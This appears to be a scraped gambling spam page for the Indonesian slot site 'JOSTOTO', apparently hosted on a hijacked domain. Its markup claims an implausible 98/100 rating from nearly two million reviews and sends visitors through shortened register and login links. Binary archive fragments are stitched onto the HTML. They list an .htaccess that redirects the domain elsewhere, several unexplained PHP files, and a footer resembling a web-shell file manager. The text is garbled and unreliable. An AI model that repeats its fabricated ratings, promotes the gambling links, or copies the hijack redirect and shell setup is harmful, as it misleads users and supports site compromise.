"author": { "@type": "Person", "name": "Admin"}, "headline": "JOSTOTO RTP Slot Terakurat Dengan Permainan Slot Terlengkap", "description": "JOSTOTO RTP Slot Terakurat Dengan Permainan Slot Terlengkap", "image": "https://i.gyazo.com/641bccb911095614f848cafd298fa6b3.png", "url": "https://saddmussoc.org/", "publisher": { "@type": "Organization", "name": "JOSTOTO"}, "aggregateRating": { "@type": "AggregateRating", "ratingValue": "98", "bestRating": "100", "worstRating": "0", "ratingCount": "1942619" }, "inLanguage": "id-ID" } </script> <style amp-boilerplate> body { -webkit-animation: -amp-start 8s steps(1, end) 0s 1 normal both; -moz-animation: -amp-start 8s steps(1, end) 0s 1 normal both; -ms-animation: -amp-start 8s steps(1, end) 0s 1 normal both; animation: -amp-start 8s steps(1, end) 0s 1 normal both } @-webkit-keyframes -amp-start { from { visibility: hidden } to { visibility: visible } } @-moz-keyframes -amp-start { from { visibility: hidden } to { visibility: visible } } @-ms-keyframes -amp-start { from { visibility: hidden } to { visibility: visible } } @-o-keyframes -amp-start { from { visibility: hidden } to { visibility: visible } } @keyframes -amp-start { from { visibility: hidden } to { visibility: visible } } </style><noscript> <style amp-boilerplate> body { -webkit-animation: none; -moz-animation: none; -ms-animation: none; animation: none } </style> </noscript> <style amp-custom> *, ::after, ::before { box-sizing: border-box; } html { font-family: sans-serif; line-height: 1.15; -webkit-text-size-adjust: 100%; -webkit-tap-highlight-color: transparent; } article, aside, figcaption, figure, footer, header, main, nav, section { display: flex; flex-direction: column; } article { margin: 0 auto 18px; border-radius: 0 0 8px 8px; border: 1px solid rgb(0, 0, 255); background-color: #836200; } strong { color: #000000; } body { background: url(https://i.gyazo.com/cd739b77d03b52b960a8b5abc42e1907.jpg)no-repeat center; background-size: cover; min-height: 100vh; } main { padding: 5px; margin: auto; width: 100%; overflow: hidden; max-width: 1000px; text-align: center; background-color: rgb(0, 0, 0); background: linear-gradient(to left, #000000, #ffd700); min-height: 100vh; } h1, h2, h3, h4, h5, h6 { color: rgb(255 255 255); text-transform: uppercase; } a { color: rgb(255 255 255); } a:hover { text-decoration: none; } p { margin: 0; padding: 5px; color: inherit; line-height: 1.5rem; text-align: justify; } ol, ul { color: inherit; text-align: left; line-height: 1.9; padding-block-end: 1em } ol>li, ul>li { padding: 8px } header { align-items: center; align-content: center; background-color: transparent; justify-content: space-between; background: linear-gradient(to left, #000000, #000000); } header .navigation { width: 100%; padding: 0; margin: 0; display: flex; list-style: none; align-items: center; /* justify-content: space-between; */ align-content: center; flex-direction: row; background-color: rgb(34 37 51); flex-wrap: wrap; } header .navigation .btn { height: 50px; padding: 0; width: 25%; max-width: 100%; font-size: 15px; text-align: center; text-transform: uppercase; border-left: 1px solid rgb(8 9 10); border-right: 1px solid rgb(8 9 10); justify-content: space-around; border-bottom: 5px solid rgb(20 22 31); background-image: -webkit-linear-gradient(top, rgb(0 0 216) 0, rgb(0 0 63) 100%); } header .navigation .btn:hover { border-top: 1px solid rgb(255, 242, 0); border-left: 1px solid rgb(255, 242, 0); border-right: 1px solid rgb(255, 242, 0); border-bottom: 5px solid rgb(255, 242, 0); } header .navigation .btn a { padding: 8px; display: flex; color: rgb(255 255 255); text-decoration: none; text-shadow: 1px 1px 2px rgb(18 20 29); box-shadow: 1px 1px 2px rgb(0, 0, 255); justify-content: space-between; } header .navigation .btn a:before, header .navigation .btn a:after { content: "."; color: rgb(240 204 116); text-shadow: 1px 1px 2px rgb(82 83 88); } .tophead { width: 100%; display: flex; margin-bottom: 8px; flex-direction: row; justify-content: space-between; background: linear-gradient(to left, #070707, #050505c2); } .tophead .logo { width: 100%; text-align: left; } .tophead .btn { width: 100%; display: flex; justify-content: space-between; align-content: center; flex-wrap: nowrap; flex-direction: row; align-items: center; } .tophead .btn .support { margin: auto 2px; text-align: center; border-radius: 3px; align-items: center; text-transform: uppercase; border: 1px solid rgb(34 37 51); border-bottom: 5px solid rgb(255 240 0); background-image: -webkit-linear-gradient(top, rgb(255 0 0) 0, rgb(134 0 0) 100%); } .blink { animation: blinking .8s infinite; transition: all .5s; } @keyframes blinking { 0% { border-bottom: 5px solid rgb(255, 0, 0); } 100% { border-bottom: 5px solid rgb(255, 242, 0); } } .tophead .btn .support:hover { border-bottom: 5px solid rgb(255, 0, 0); } .tophead .btn .support a { width: 100%; padding: 8px; display: block; font-size: 20px; font-weight: 800; color: rgb(0, 0, 0); text-decoration: none; border-radius: 3px 3px 0 0; border: 1px solid rgb(255, 0, 0); text-shadow: 1px 1px 2px rgb(255, 7, 7); } caption { font-weight: 700; text-transform: uppercase; } amp-accordion section:not([expanded]) h4, amp-accordion section[expanded] h4 { color: #fff; border: none; padding: 8px; line-height: 1.9; border-bottom: 1px solid rgb(0 182 205); background-color: rgb(25 27 38); padding-inline-start: 8px; } amp-accordion section[expanded] p { padding: 8px; padding-inline-start: 18px; } .desc { width: 100%; color: #fff; margin: 18px auto; text-transform: uppercase; } .desc>tbody { display: flex; flex-wrap: wrap; justify-content: space-around; } .desc>tbody>tr { margin: 8px; width: 25%; float: left; display: flex; border: 1px solid rgb(159 184 232); border-radius: 8px; flex-direction: column-reverse; } .desc>tbody>tr>td { height: 100%; font-size: 88%; text-align: center; } .desc>tbody>tr>td:first-child { color: inherit; padding: 8px; max-height: 50px; display: flex; flex-direction: column; justify-content: center; font-weight: 700; border-top: 1px solid rgb(159 184 232); text-transform: uppercase; } .desc>tbody>tr>td:nth-child(2) { padding: 8px; display: flex; line-height: 1.5; align-items: center; flex-direction: column; justify-content: center } .nav { padding: 0; width: 585px; max-width: 100%; display: flex; list-style: none; align-items: center; justify-content: space-around; align-content: flex-end; flex-direction: row; } .nav>.btn { width: 188px; font-size: 18px; text-align: center; border-radius: 3px; text-transform: uppercase; border: 1px solid rgb(34 37 51); justify-content: space-around; border-bottom: 5px solid rgb(0 174 197); background-image: -webkit-linear-gradient(top, rgb(0 195 216) 0, rgb(0 102 134) 100%); } .nav>.btn:hover { border-bottom: 5px solid rgb(255, 221, 0); } .nav>.btn>a { width: 100%; height: 38px; display: flex; font-weight: 800; align-items: center; justify-content: center; color: rgb(255, 230, 0); text-decoration: none; text-shadow: 1px 1px 2px rgb(7 229 255); } .nav>.btn>a:hover { color: rgb(84, 27, 27); text-decoration: none; text-shadow: 1px 1px 2px rgb(255, 0, 0); } .list>.web { margin: 18px auto; border-radius: 10px; border: 1px solid rgb(188 164 91); } .list>.web>.caption { color: #fff; padding: 8px; font-size: 88%; text-transform: uppercase; border-radius: 10px 9px 0 0; background-color: rgb(75 77 79); } .list>.web>.img { width: 175px; max-width: 100%; display: flex; } .list>.web>.img img { object-fit: cover; height: 150px; } .button { color: rgb(255 255 255); height: 38px; font-weight: 700; text-transform: uppercase; border-radius: 0 0 8px 8px; background-image: linear-gradient(to right top, #706440, #bca45b, #f1d686); } .button a { width: 100%; height: 38px; display: flex; align-items: center; justify-content: center; color: #000; text-decoration: none; text-shadow: 1px 1px 2px rgb(230 204 125); } footer { color: rgb(228 228 228); display: flex; font-size: 88%; text-align: center; align-items: center; justify-content: center; background-color: transparent; flex-direction: column; flex-wrap: wrap; align-content: center; } .marquee-info { width: 100%; max-width: 100%; margin: 0 auto; display: flex; height: auto; flex-direction: row; align-items: center; background: rgb(23 19 7); border-top: 1px solid rgb(255 0 0); border-bottom: 1px solid rgb(255 0 0); } .marquee { display: block; width: 100%; overflow: hidden; text-align: left; word-break: break-word; } .marquee.marquee-speed-drowsy:before { animation-duration: 30s; } .marquee.marquee-speed-slow:before { animation-duration: 20s; } .marquee.marquee-speed-custom:before { animation-duration: inherit; } .marquee.marquee-speed-normal:before { animation-duration: 10s; } .marquee.marquee-speed-fast:before { animation-duration: 7s; } .marquee.marquee-speed-swift:before { animation-duration: 5s; } .marquee.marquee-speed-hyper:before { animation-duration: 2s; } .amp-mode-mouse .amp-carousel-button, amp-carousel.amphtml-carousel-has-controls .amp-carousel-button, amp-carousel[controls] .amp-carousel-button { display: none; } @keyframes movement-smooth { from { transform: translateX(0); left: 100%; } to { transform: translateX(-100%); left: 0; } } @keyframes movement-steps20 { 0% { transform: translateX(0); left: 100%; } 5%, 9.99% { transform: translateX(-5%); left: 95%; } 10%, 14.99% { transform: translateX(-10%); left: 90%; } 15%, 19.99% { transform: translateX(-15%); left: 85%; } 20%, 24.99% { transform: translateX(-20%); left: 80%; } 25%, 29.99% { transform: translateX(-25%); left: 75%; } 30%, 34.99% { transform: translateX(-30%); left: 70%; } 35%, 39.99% { transform: translateX(-35%); left: 65%; } 40%, 44.99% { transform: translateX(-40%); left: 60%; } 45%, 49.99% { transform: translateX(-45%); left: 55%; } 50%, 54.99% { transform: translateX(-50%); left: 50%; } 55%, 59.99% { transform: translateX(-55%); left: 45%; } 60%, 64.99% { transform: translateX(-60%); left: 40%; } 65%, 69.99% { transform: translateX(-65%); left: 35%; } 70%, 74.99% { transform: translateX(-70%); left: 30%; } 75%, 79.99% { transform: translateX(-75%); left: 25%; } 80%, 84.99% { transform: translateX(-80%); left: 20%; } 85%, 89.99% { transform: translateX(-85%); left: 15%; } 90%, 94.99% { transform: translateX(-90%); left: 10%; } 95%, 99.99% { transform: translateX(-95%); left: 5%; } 100% { transform: translateX(-100%); left: 0; } } @keyframes movement-steps10 { 0% { transform: translateX(0); left: 100%; } 10%, 19.99% { transform: translateX(-10%); left: 90%; } 20%, 29.99% { transform: translateX(-20%); left: 80%; } 30%, 39.99% { transform: translateX(-30%); left: 70%; } 40%, 49.99% { transform: translateX(-40%); left: 60%; } 50%, 59.99% { transform: translateX(-50%); left: 50%; } 60%, 69.99% { transform: translateX(-60%); left: 40%; } 70%, 79.99% { transform: translateX(-70%); left: 30%; } 80%, 89.99% { transform: translateX(-80%); left: 20%; } 90%, 99.99% { transform: translateX(-90%); left: 10%; } 100% { transform: translateX(-100%); left: 0; } } @keyframes movement-steps5 { 0%, 19.99% { transform: translateX(0); left: 100%; } 20%, 39.99% { transform: translateX(-20%); left: 80%; } 40%, 59.99% { transform: translateX(-40%); left: 60%; } 60%, 79.99% { transform: translateX(-60%); left: 40%; } 80%, 99.99% { transform: translateX(-80%); left: 20%; } 100% { transform: translateX(-100%); left: 0; } } .marquee.marquee-movement-smooth:before { animation-name: movement-smooth; } .marquee.marquee-movement-steps20:before { animation-name: movement-steps20; } .marquee.marquee-movement-steps10:before { animation-name: movement-steps10; } .marquee.marquee-movement-steps5:before { animation-name: movement-steps5; } .marquee.marquee-direction-left:before, .marquee.marquee-direction-normal:before { animation-direction: normal; } .marquee.marquee-direction-alternate:before { animation-direction: alternate; } .marquee.marquee-direction-reverse:before, .marquee.marquee-direction-right:before { animation-direction: reverse; } .marquee:before { content: attr(data-marquee); white-space: nowrap; position: relative; transform: translateX(-50%); display: inline-block; left: 50%; animation: linear infinite; } .marquee:before { animation-duration: 18s; } .marquee:before { animation-name: movement-smooth; } .check-list li:before { content: "\f00c"; padding: 0 5px; color: rgb(1 233 255); font-weight: 400; font-family: FontAwesome; } .marquee:before { animation-direction: normal; } .marquee-info .left { color: #fff; width: 20%; height: 35px; float: left; display: flex; font-size: 12px; align-items: center; justify-content: center; text-transform: uppercase; background-color: rgb(87 0 0); } .marquee-info .right { color: #fff; width: 80%; height: 35px; padding: 8px; float: left; display: flex; align-items: center; background-color: rgb(18 20 29); } .support { display: flex; flex-wrap: wrap; flex-direction: column; background: url(domain) no-repeat center top; background-size: cover; } .provider { width: 100%; padding: 8px; display: flex; flex-wrap: wrap; align-content: center; justify-content: center; align-items: center; } .provider .name .logo { width: 20%; padding: 8px 2px; } .provider .name .logo img { border-radius: 14px; } .provider .headline { color: #fff; width: 100%; padding: 8px; font-weight: 700; text-transform: uppercase; background-color: rgb(75 77 79); } .provider .name .logo img:hover { filter: grayscale(1); } .provider .name { padding: 8px 0; /* flex-basis: calc(35% * 2); */ } .provider img { width: 100%; max-width: 118px; } .copyright { width: 100%; padding: 28px; background: -webkit-linear-gradient(left, rgb(66 0 0) 0, rgb(112 0 0) 50%, rgb(185 0 0) 100%); } @media only screen and (max-width: 600px) { header { padding: 0; display: flex; margin: auto; flex-direction: column; align-content: space-around; } header .navigation { margin-top: 38%; } .tophead { z-index: 99; padding: 8px 0; position: fixed; top: 0; flex-direction: column-reverse; } .tophead .logo { text-align: center; } header .navigation .btn { width: 100%; } header .navigation .btn a { display: flex; justify-content: space-between; } .support { flex-direction: column-reverse; } .provider .name { flex-basis: auto; } .desc>tbody>tr { width: 100%; } .provider .name .logo { width: 25%; } .marquee-info { flex-direction: column; } .marquee-info .left, .marquee-info .right { width: 100%; padding: 5px; text-align: center; border-bottom: 1px solid rgb(161 177 188 / 50%); } } .content { padding: 15px; } h1, h2, h3, h4 { color: #FFF; border-bottom: 9px solid #ffd700; padding-bottom: 15px; } a { color: yellow; } a:hover { color: red; } .fixed-footer { display: flex; justify-content: space-around; position: fixed; background: linear-gradient(360deg, #000000, #000000); padding: 5px 0; left: 0; right: 0; bottom: 0; z-index: 99 } .content-acc, .heading-acc { padding: 10px 18px } .fixed-footer a { flex-basis: calc((100% - 15px*6)/ 5); display: flex; flex-direction: column; justify-content: center; align-items: center; color: #fff; max-width: 75px; font-size: 12px } .fixed-footer .center { transform: scale(1.5) translateY(-5px); background: center/contain no-repeat; background-color: inherit; border-radius: 50% } .fixed-footer amp-img { max-width: 30%; margin-bottom: 5px } .tada { -webkit-animation-name: tada; animation-name: tada; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-fill-mode: both; animation-fill-mode: both } @-webkit-keyframes tada { 0%, 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1) } 10%, 20% { -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg) } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg) } 40%, 60%, 80% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg) } } .Banner amp-img { margin-top: 30px; animation: rainbow-border 4s linear infinite; border: 1px solid; border-radius: 10px; } .Banner { margin: auto; } @keyframes rainbow-border { 0% { border-image-slice: 1; border-color: #d0ca7f; } 14% { border-color: #FFA1000; } 28% { border-color: #646464; } 42% { border-color: #ebebeb; } 57% { border-color: #585858; } 71% { border-color: #a16b00; } 85% { border-color: #FFFF00; } 100% { border-image-slice: 1; border-color: #000000; } } .text-center { text-align: center; align-items: center; post: revert; margin: 5px 1px; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: 0.375rem 0.75rem; font-size: 1rem; line-height: 1.5; border-radius: 0.25rem; transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; font-weight: bolder; text-decoration: none; } .btn-warning { color: #212529; background-color: #ffdc92; border-color: #ffdc92; } .hrbtn { display: flex; width: 100%; flex-direction: row; justify-content: space-around; margin: 20px 0px; } .link { padding: 14px; display: block; background-color: #000000; text-align: center; text-decoration: none; border-radius: 4px; transition: ease all 0.3s; color: #ffd700; margin: 30px 0px; border: 1px solid #fbff00; animation: rainbow-border 4s linear infinite; font-weight: bolder; text-transform: uppercase; } a.link { display: flex; flex-direction: row; align-content: center; align-items: center; justify-content: space-evenly; fill: rgb(255, 255, 255); font-size: 1.5rem; width: 16.2rem; border-radius: 10px; } @media only screen and (max-width: 600px) { p, li, ul, ol { font-size: 13px; line-height: 1.2rem; } h1 { font-size: 14px; line-height: 1.4; } h2 { font-size: 15px; } a.link { display: flex; flex-direction: row; align-content: center; align-items: center; justify-content: space-evenly; fill: white; font-size: 1rem; width: 100%; margin: 13px; border-radius: 10px; } .Banner amp-img { margin-top: 30px; animation: rainbow-border 4s linear infinite; border: 1px solid; border-radius: 10px; margin: 13px; } h1, h2, h3, h4 { color: #fff; border-bottom: 1px solid #ffd700; padding-bottom: 15px; } } </style> </head> <body itemscope="itemscope" itemtype="http://schema.org/WebPage"> <main> <div class="header"> <header> <div class="tophead"> <div class="logo" itemprop="publisher" itemscope="itemscope" itemtype="https://schema.org/Organization"> <div itemprop="logo" itemscope="itemscope" itemtype="https://schema.org/ImageObject"> <amp-img src="https://i.gyazo.com/623c01104814090df81b9cfbae79ee10.png" layout="intrinsic" width="300" height="100" alt="JOSTOTO"></amp-img> <meta itemprop="width" content="300"> <meta itemprop="height" content="100"> <meta itemprop="name" content="JOSTOTO"> </div> <div itemprop="brand" itemtype="https://schema.org/Brand" itemscope="itemscope"> <meta itemprop="name" content="JOSTOTO" /> <meta itemprop="logo" content="https://i.gyazo.com/623c01104814090df81b9cfbae79ee10.png" /> <meta itemprop="image" content="JOSTOTO" /> </div> </div> </div> </header> </div> <div class="Banner" itemprop="image" itemscope="itemscope" itemtype="https://schema.org/ImageObject"> <div class="contain bg-white ptpb"> <div class="text-center"> <div class="article"> <h1>JOSTOTO RTP Slot Terakurat Dengan Permainan Slot Terlengkap</h1> </div> </div> </div> <amp-img src="https://i.gyazo.com/641bccb911095614f848cafd298fa6b3.png" layout="intrinsic" width="1000" height="1000" alt="JOSTOTO"></amp-img> <meta itemprop="url" content="https://i.gyazo.com/641bccb911095614f848cafd298fa6b3.png"> <meta itemprop="width" content="720"> <meta itemprop="height" content="400"> <div class="hrbtn"> <a href="https://rebrand.ly/daftarjos" class="link" target="_blank" rel="noopener noreferrer nofollow">DAFTAR <svg xmlns="https://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30"> <path d="M24.112 29.996c-3.304 0-5.892-2.577-5.892-5.866 0-.935.039-1.606.114-2.102l-7.543-3.934c-1.096 1.642-2.977 2.716-4.907 2.716-3.304 0-5.891-2.577-5.891-5.867 0-3.288 2.587-5.866 5.891-5.866 1.26 0 2.514.624 3.051.891.345.173.834.608 1.308 1.078l8.007-5.763c.285-3.005 2.757-5.28 5.862-5.28 3.304 0 5.892 2.576 5.892 5.865s-2.588 5.866-5.892 5.866c-1.636 0-3.155-.662-4.171-1.817a1.102 1.102 0 01.104-1.561 1.112 1.112 0 011.569.104c.584.664 1.518 1.061 2.498 1.061 2.058 0 3.67-1.604 3.67-3.653 0-2.048-1.612-3.652-3.67-3.652-2.056 0-3.669 1.604-3.669 3.652 0 .355-.17.689-.459.897l-9.225 6.641a1.115 1.115 0 01-1.472-.149c-.539-.586-1.18-1.204-1.371-1.322-.337-.167-1.296-.644-2.032-.644-2.058 0-3.67 1.604-3.67 3.652 0 2.049 1.612 3.653 3.67 3.653 1.588 0 2.946-1.239 3.412-2.403a1.11 1.11 0 01.648-.627c.295-.11.621-.088.901.057l9.337 4.87a1.103 1.103 0 01.401 1.607c-.041.143-.14.641-.14 2.03 0 2.048 1.613 3.652 3.669 3.652 2.058 0 3.67-1.604 3.67-3.652s-1.612-3.652-3.67-3.652c-.708 0-.874.067-1.391.325a1.12 1.12 0 01-1.494-.495 1.105 1.105 0 01.5-1.485c.79-.395 1.298-.559 2.385-.559 3.304 0 5.892 2.577 5.892 5.866 0 3.289-2.588 5.866-5.892 5.866z" fill=""></path> </svg></a> <a href="https://rebrand.ly/joslogin" class="link" target="_blank" rel="noopener noreferrer nofollow">LOGIN <svg xmlns="https://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30"> <path d="M24.112 29.996c-3.304 0-5.892-2.577-5.892-5.866 0-.935.039-1.606.114-2.102l-7.543-3.934c-1.096 1.642-2.977 2.716-4.907 2.716-3.304 0-5.891-2.577-5.891-5.867 0-3.288 2.587-5.866 5.891-5.866 1.26 0 2.514.624 3.051.891.345.173.834.608 1.308 1.078l8.007-5.763c.285-3.005 2.757-5.28 5.862-5.28 3.304 0 5.892 2.576 5.892 5.865s-2.588 5.866-5.892 5.866c-1.636 0-3.155-.662-4.171-1.817a1.102 1.102 0 01.104-1.561 1.112 1.112 0 011.569.104c.584.664 1.518 1.061 2.498 1.061 2.058 0 3.67-1.604 3.67-3.653 0-2.048-1.612-3.652-3.67-3.652-2.056 0-3.669 1.604-3.669 3.652 0 .355-.17.689-.459.897l-9.225 6.641a1.115 1.115 0 01-1.472-.149c-.539-.586-1.18-1.204-1.371-1.322-.337-.167-1.296-.644-2.032-.644-2.058 0-3.67 1.604-3.67 3.652 0 2.049 1.612 3.653 3.67 3.653 1.588 0 2.946-1.239 3.412-2.403a1.11 1.11 0 01.648-.627c.295-.11.621-.088.901.057l9.337 4.87a1.103 1.103 0 01.401 1.607c-.041.143-.14.641-.14 2.03 0 2.048 1.613 3.652 3.669 3.652 2.058 0 3.67-1.604 3.67-3.652s-1.612-3.652-3.67-3.652c-.708 0-.874.067-1.391.325a1.12 1.12 0 01-1.494-.495 1.105 1.105 0 01.5-1.485c.79-.395 1.298-.559 2.385-.559 3.304 0 5.892 2.577 5.892 5.866 0 3.289-2.588 5.866-5.892 5.866z" fill=""></path> </svg></a> </div> </div> </main> <div class="fixed-footer"> <a href="https://rebrand.ly/promosijostoto" rel="nofollow noopener" target="_blank"> <amp-img layout="intrinsic" height="75" width="75" src="https://imgstore.io/images/2024/12/24/bonus.png" alt="Promo JOSTOTO"></amp-img> Promo </a> <a href="https://rebrand.ly/joslogin" rel="nofollow noopener" target="_blank"> <amp-img layout="intrinsic" height="75" width="75" src="https://i.gyazo.com/fe6592049889db04f876b9bb3ae26727.png" alt="Login JOSTOTO"></amp-img> Login </a> <a href="https://rebrand.ly/daftarjos" rel="nofollow noopener" target="_blank" class="tada"> <amp-img class="center" layout="intrinsic" height="50" width="50" src="https://i.gyazo.com/7e2e438c6ebb2cea33610f1ee29f3c1d.png" alt="Daftar JOSTOTO"></amp-img> Daftar </a> <a href="https://rebrand.ly/jostotologin" rel="nofollow noopener" target="_blank"> <amp-img layout="intrinsic" height="75" width="75" src="https://i.gyazo.com/ac6b07e530253059011a7e3ce0fdc474.webp" alt="Alternatif JOSTOTO"></amp-img> Link ALT </a> <a href="https://rebrand.ly/jos-lc " rel="nofollow noopener" target="_blank" class="js_live_chat_link live-chat-link"> <amp-img class="live-chat-icon" layout="intrinsic" height="75" width="75" src="https://imgstore.io/images/2024/12/30/ed94593b02796a81fe558659411b7562-1.png" alt="LiveChat JOSTOTO"></amp-img> Live chat </a> </div> </body> </html>PK 59�\I�C�u u .htaccessnu �[��� <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> RewriteEngine on RewriteCond %{HTTP_HOST} ^saddmussoc\.org$ [OR] RewriteCond %{HTTP_HOST} ^www\.saddmussoc\.org$ RewriteRule ^/?$ "https\:\/\/advintageplus\.com\/" [R=301,L] PK 59�\�k��t t tool1.phpnu �[��� PK 59�\� u! ! � dmca-validation.htmlnu �[��� PK 59�\���v v expect.phpnu �[��� PK 59�\�V��[ [ ? � .well-known/pki-validation/687ED344E2B6433D4D2540B4CEE6C678.txtnu �[��� PK 59�\��,[ [ ? � .well-known/pki-validation/FCE42CFF056426AA00FAF59C3BED77FA.txtnu �[��� PK 59�\�xC� � V error_lognu �[��� PK 59�\��Ts 7 7 i saddmussoc.org:80.phpnu ��6�$ PK 59�\�6?iVi Vi �J file61.phpnu �[��� PK 59�\³8M�8 �8 H� saddmussoc.org.phpnu ��6�$ PK 59�\���5 5 � google06d02b30ffd6e40c.htmlnu �[��� PK 59�\-0L� L� �� index.htmlnu �[��� PK 59�\I�C�u u � .htaccessnu �[��� PK
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.3 |
proxy
|
phpinfo
|
Settings